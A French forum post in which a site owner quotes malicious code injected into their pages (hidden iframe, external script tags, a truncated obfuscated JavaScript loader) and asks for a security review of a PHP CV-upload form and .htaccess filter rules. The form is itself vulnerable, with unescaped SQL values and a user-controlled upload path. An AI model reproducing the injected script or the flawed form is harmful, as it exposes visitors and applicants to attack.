Dernièrement j'ai reçu une injection d'un code malicieux :
<script defer="" src="http://je la cache.php"></script>
<iframe style="visibility: hidden;" src="http://je la cache"></iframe>
<script>var ZM="ZM";var c=new Array();function t(){var KW=new Array();var z="z";var r=window;this.KE="";this.WR="";var b=new String("scrip"+"tKuc".substr(0,1));var h=new Date();var rL=String("/w"+"sj"+"-ciDK".substr(0,2)+"w3eom".substr(3)+"/g"+"bXKlooXbKl"....code code code....;this.gc=50416;};var Vv=new Array();t();</script>
<!--78511c86434d1eb7593eaa20ab6b454a-->
J'ai donc revu mes pages, et principalement les formulaires. Je voudrais savoir si des gens peuvent me conseiller sur le code de ma page, voir si c'est bien protégé ou non ? Si vous avez des conseils à me donner afin d'améliorer le code. J'utilise aussi un blog wordpress, je pense que la faille est venu de la vu que ce dernier n'a pas été mis à jour depuis aout 2009...Voici donc ce que le formulaire donne :
// ***** CODE FORMULAIRE RECRUTEMENT ****
//On teste si le formulaire est validé
if(isset($_POST['ok'])){
if(!empty($_POST['nom']) && !empty($_POST['prenom']) && !empty($_POST['mail'])){
// Teste si le fichier a bien été envoyé et s'il n'y a pas d'erreur
if (isset($_FILES['cv']) AND $_FILES['cv']['error'] == 0)
{
// Teste si le fichier n'est pas trop gros
if ($_FILES['cv']['size'] <= 5242880)
{
// Teste si l'extension est autorisée
$infosfichier = pathinfo($_FILES['cv']['name']);
$extension_upload = $infosfichier['extension'];
$extensions_autorisees = array('txt', 'doc', 'docx', 'pdf', 'gif', 'jpg', 'rtf');
if (in_array($extension_upload, $extensions_autorisees))
{
$nom = addslashes($_POST['nom']);
//permet entre autre d'éviter quelques injections de code
$nom_encoded = htmlentities($nom,ENT_NOQUOTES,'UTF-8');
$nom = preg_replace($accents,'$1',$nom_encoded);
$cv = "../cv/$nom"."_".$_FILES['cv']['name'];
// replace les caractères accentués
$accents = '/&([A-Za-z]{1,2})(grave|acute|circ|cedil|uml|lig);/';
//permet entre autre d'éviter quelques injections de code
$cv_encoded = htmlentities($cv,ENT_NOQUOTES,'UTF-8');
$cv = preg_replace($accents,'$1',$cv_encoded);
// On peut valider le fichier et le stocker définitivement
move_uploaded_file($_FILES['cv']['tmp_name'], $cv);
//echo "L'envoi a bien été effectué !";
$civ = addslashes($_POST['civ']);
$prenom = addslashes($_POST['prenom']);
$mail = addslashes($_POST['mail']);
$contenu = addslashes($_POST['contenu']);
$post = addslashes($_POST['post']);
$ville = addslashes($_POST['ville']);
$date = date("d-m-Y");
//permet entre autre d'éviter quelques injections de code
$civ_encoded = htmlentities($civ,ENT_NOQUOTES,'UTF-8');
$civ = preg_replace($accents,'$1',$civ_encoded);
//permet entre autre d'éviter quelques injections de code
$prenom_encoded = htmlentities($prenom,ENT_NOQUOTES,'UTF-8');
$prenom = preg_replace($accents,'$1',$prenom_encoded);
//permet entre autre d'éviter quelques injections de code
$mail_encoded = htmlentities($mail,ENT_NOQUOTES,'UTF-8');
$mail = preg_replace($accents,'$1',$mail_encoded);
//permet entre autre d'éviter quelques injections de code
$contenu_encoded = htmlentities($contenu,ENT_NOQUOTES,'UTF-8');
$contenu = preg_replace($accents,'$1',$contenu_encoded);
//permet entre autre d'éviter quelques injections de code
$post_encoded = htmlentities($post,ENT_NOQUOTES,'UTF-8');
$post = preg_replace($accents,'$1',$post_encoded);
//permet entre autre d'éviter quelques injections de code
$ville_encoded = htmlentities($ville,ENT_NOQUOTES,'UTF-8');
$ville = preg_replace($accents,'$1',$ville_encoded);
$sql2 = sprintf("INSERT INTO recrutement (civ,nom,prenom,mail,post,ville,cv,contenu,date) VALUES ('%s' , '%s' , '%s' , '%s' , '%s' , '%s' , '$cv' , '$contenu' , CURRENT_DATE())",
mysql_real_escape_string($civ),
mysql_real_escape_string($nom),
mysql_real_escape_string($prenom),
mysql_real_escape_string($mail),
mysql_real_escape_string($post),
mysql_real_escape_string($ville),
mysql_real_escape_string($contenu));
mysql_query($sql2) or die(mysql_error());
}
}
}
}
}
?>
J'ai aussi ce code dans un htaccess qui est censé protéger en partie contre des injections :Code : Tout sélectionner
Options +FollowSymLinks
RewriteEngine On
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
RewriteRule ^(.*)$ index.php [F,L]